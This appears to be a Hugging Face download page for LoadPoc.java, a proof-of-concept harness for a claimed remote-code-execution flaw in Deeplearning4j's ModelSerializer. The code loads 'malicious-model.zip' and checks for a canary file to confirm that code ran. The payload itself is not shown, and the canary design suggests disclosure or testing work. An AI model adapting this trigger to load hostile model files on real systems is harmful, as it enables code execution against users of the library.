Download LoadPoc.java from krishprober/dl4j-modelserializer-rce-poc: direct link, hf CLI and curl.
- Browser
- Download file 670 Bytes
-
https://huggingface.co/krishprober/dl4j-modelserializer-rce-poc/resolve/main/LoadPoc.java
- Command line
-
hf download hf://krishprober/dl4j-modelserializer-rce-poc/LoadPoc.java
-
curl -L -o LoadPoc.java https://huggingface.co/krishprober/dl4j-modelserializer-rce-poc/resolve/main/LoadPoc.java
670 Bytes
| import org.deeplearning4j.util.ModelSerializer; | |
| import java.io.File; | |
| public class LoadPoc { | |
| public static void main(String[] a) throws Exception { | |
| // The "victim" action: load a model file with the standard DL4J API. | |
| System.out.println("[*] loading malicious-model.zip via ModelSerializer.restoreMultiLayerNetwork ..."); | |
| try { ModelSerializer.restoreMultiLayerNetwork(new File("malicious-model.zip")); } | |
| catch (Throwable t) { System.out.println("[*] (cast/parse error after deserialization is expected): " + t.getClass().getSimpleName()); } | |
| System.out.println("[*] check for /tmp/DL4J_RCE_CANARY -> if present, code ran during model load."); | |
| } | |
| } | |